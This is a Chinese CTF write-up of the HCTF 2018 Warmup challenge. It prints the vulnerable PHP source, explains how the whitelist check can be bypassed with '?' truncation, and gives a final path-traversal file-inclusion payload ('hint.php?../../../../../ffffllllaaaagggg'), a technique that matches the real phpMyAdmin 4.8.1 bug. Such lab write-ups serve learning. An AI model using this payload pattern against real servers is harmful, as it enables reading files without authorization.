[原题复现]HCTF 2018 Warmup(文件包含)
HCTF 2018 Warmup
原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup
考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用协会内部的CTF训练平台找到此题
过程
访问页面查看源码发现注释里面的内容访问它

访问获得index.php的源码
payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php
1 <?php
2 highlight_file(__FILE__);
3 class emmm
4 {
5 public static function checkFile(&$page)
6 {
7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
8 if (! isset($page) || !is_string($page)) {
9 echo "you can't see it";
10 return false;
11 }
12
13 if (in_array($page, $whitelist)) {
14 return true;
15 }
16
17 $_page = mb_substr(
18 $page,
19 0,
20 mb_strpos($page . '?', '?')
21 );
22 if (in_array($_page, $whitelist)) {
23 return true;
24 }
25
26 $_page = urldecode($page);
27 $_page = mb_substr(
28 $_page,
29 0,
30 mb_strpos($_page . '?', '?')
31 );
32 if (in_array($_page, $whitelist)) {
33 return true;
34 }
35 echo "you can't see it";
36 return false;
37 }
38 }
39
40 if (! empty($_REQUEST['file'])
41 && is_string($_REQUEST['file'])
42 && emmm::checkFile($_REQUEST['file'])
43 ) {
44 include $_REQUEST['file'];
45 exit;
46 } else {
47 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48 }
49 ?>
PHP逻辑运算符
&&逻辑与
||逻辑或运算符
!empty($_REQUEST['file'])要我们的file变量不为空我们先进行分析这段代码 首先看80行第一个要求
is_string($_REQUEST['file'])要求我们传进来的值是字符串类型
emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数
这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码

先来熟悉几个函数
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
//mb_substr() 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
emmm类分析
从代码中发现新的页面hint访问获得flag文件名
payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码
1 class emmm
2 {
3 public static function checkFile(&$page)
4
5 {
6 //白名单列表
7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
8 //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
9 if (! isset($page) || !is_string($page)) {
10 echo "you can't see it A";
11 return false;
12 }
13 //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14 if (in_array($page, $whitelist)) {
15 return true;
16 }
17 //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18 $_page = mb_substr(
19 $page,
20 0,
21 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22 );
23
24 //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25 if (in_array($_page, $whitelist)) {
26 return true;
27 }
28 //url对$page解码
29 $_page = urldecode($page);
30
31 //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32 $_page = mb_substr(
33 $_page,
34 0,
35 mb_strpos($_page . '?', '?')
36 );
37 //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38 if (in_array($_page, $whitelist)) {
39 return true;
40 }
41 echo "you can't see it";
42 return false;
43 }
44 }
我们现在可以构造获取flag的语句
hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag
最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg
[原题复现]HCTF 2018 Warmup(文件包含)的更多相关文章
- [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)
简介 原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40) 考察知识点:escapeshellarg和escap ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
简介 原题复现: 考察知识点:无参数命令执行.绕过filter_var(), preg_match() 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...
- [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]
简介 原题复现: 考察知识点:无参数命令执行 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...
- [原题复现]BJDCTF2020 WEB部分全部解
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
随机推荐
- selenium--数据填充
from time import sleep from selenium import webdriver br = webdriver.Chrome() url = "https://ww ...
- Jmeter入门(2)- 基本使用
一. JMeter入门脚本 学习例子 向百度发送请求 添加测试计划,默认会有一个测试计划 添加线程组 在测试计划上右键 ==> 添加 ==> 线程(用户) ==> 线程组 添加HTT ...
- jquery动态绑定hover没有效果
在JQuery中,hover()函数本身是对 mouseenter && mouseleave 的封装,然而在原生event中,并没有hover这一事件,所以在传递参数hover时,并 ...
- python自测100题
如果你在寻找python工作,那你的面试可能会涉及Python相关的问题. 通过对网络资料的收集整理,本文列出了100道python的面试题以及答案,你可以根据需求阅读测试.如果你看了还是不懂可以加我 ...
- 嵌入式linux和stm32嵌入式开发这两者之间有什么关联性
对于更开始入坑的同学,可能也像我一样搞不清楚两者的区别与联系.现在结合知乎网上的相关资料发一篇文章来具体分析. 基于STM32的开发属于微控制器开发领域,主要开发工具是keil或IAR,这种开发更准确 ...
- testNG优雅的使用注解让你的测试项目开发更高效!
testNG大部分是通过xml配置测试类和监听类 但是这种方法就像传统的spring框架一样需要引入大量的xml配置信息,而且在各层之间也需要通过new对象传递.如果testNG能使用注解注入bean ...
- python实现非常有趣的数学问题
1.无重复数字的三位数 题目:有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? import itertools ret = [] for i in range(1, 5) ...
- import tensorflow 出现非法指令(核心已转储)
使用 conda install -c conda-forge tensorflow 或者 conda install -c conda-forge tensorflow-gpu 试下.
- 记EF的一个基本访问类
代码: 1 using EFModel; 2 using System; 3 using System.Collections.Generic; 4 using System.Data.Entity; ...
- 2020提高组模拟赛7 StormWind
StormWind 中文 切换语言(Change Language) 时间:4s 空间:512M 题目描述: 风暴城建造的防线错综复杂,可以抽象成一个有$n$个点$m$条边的有向拓扑图,暴风城的最 ...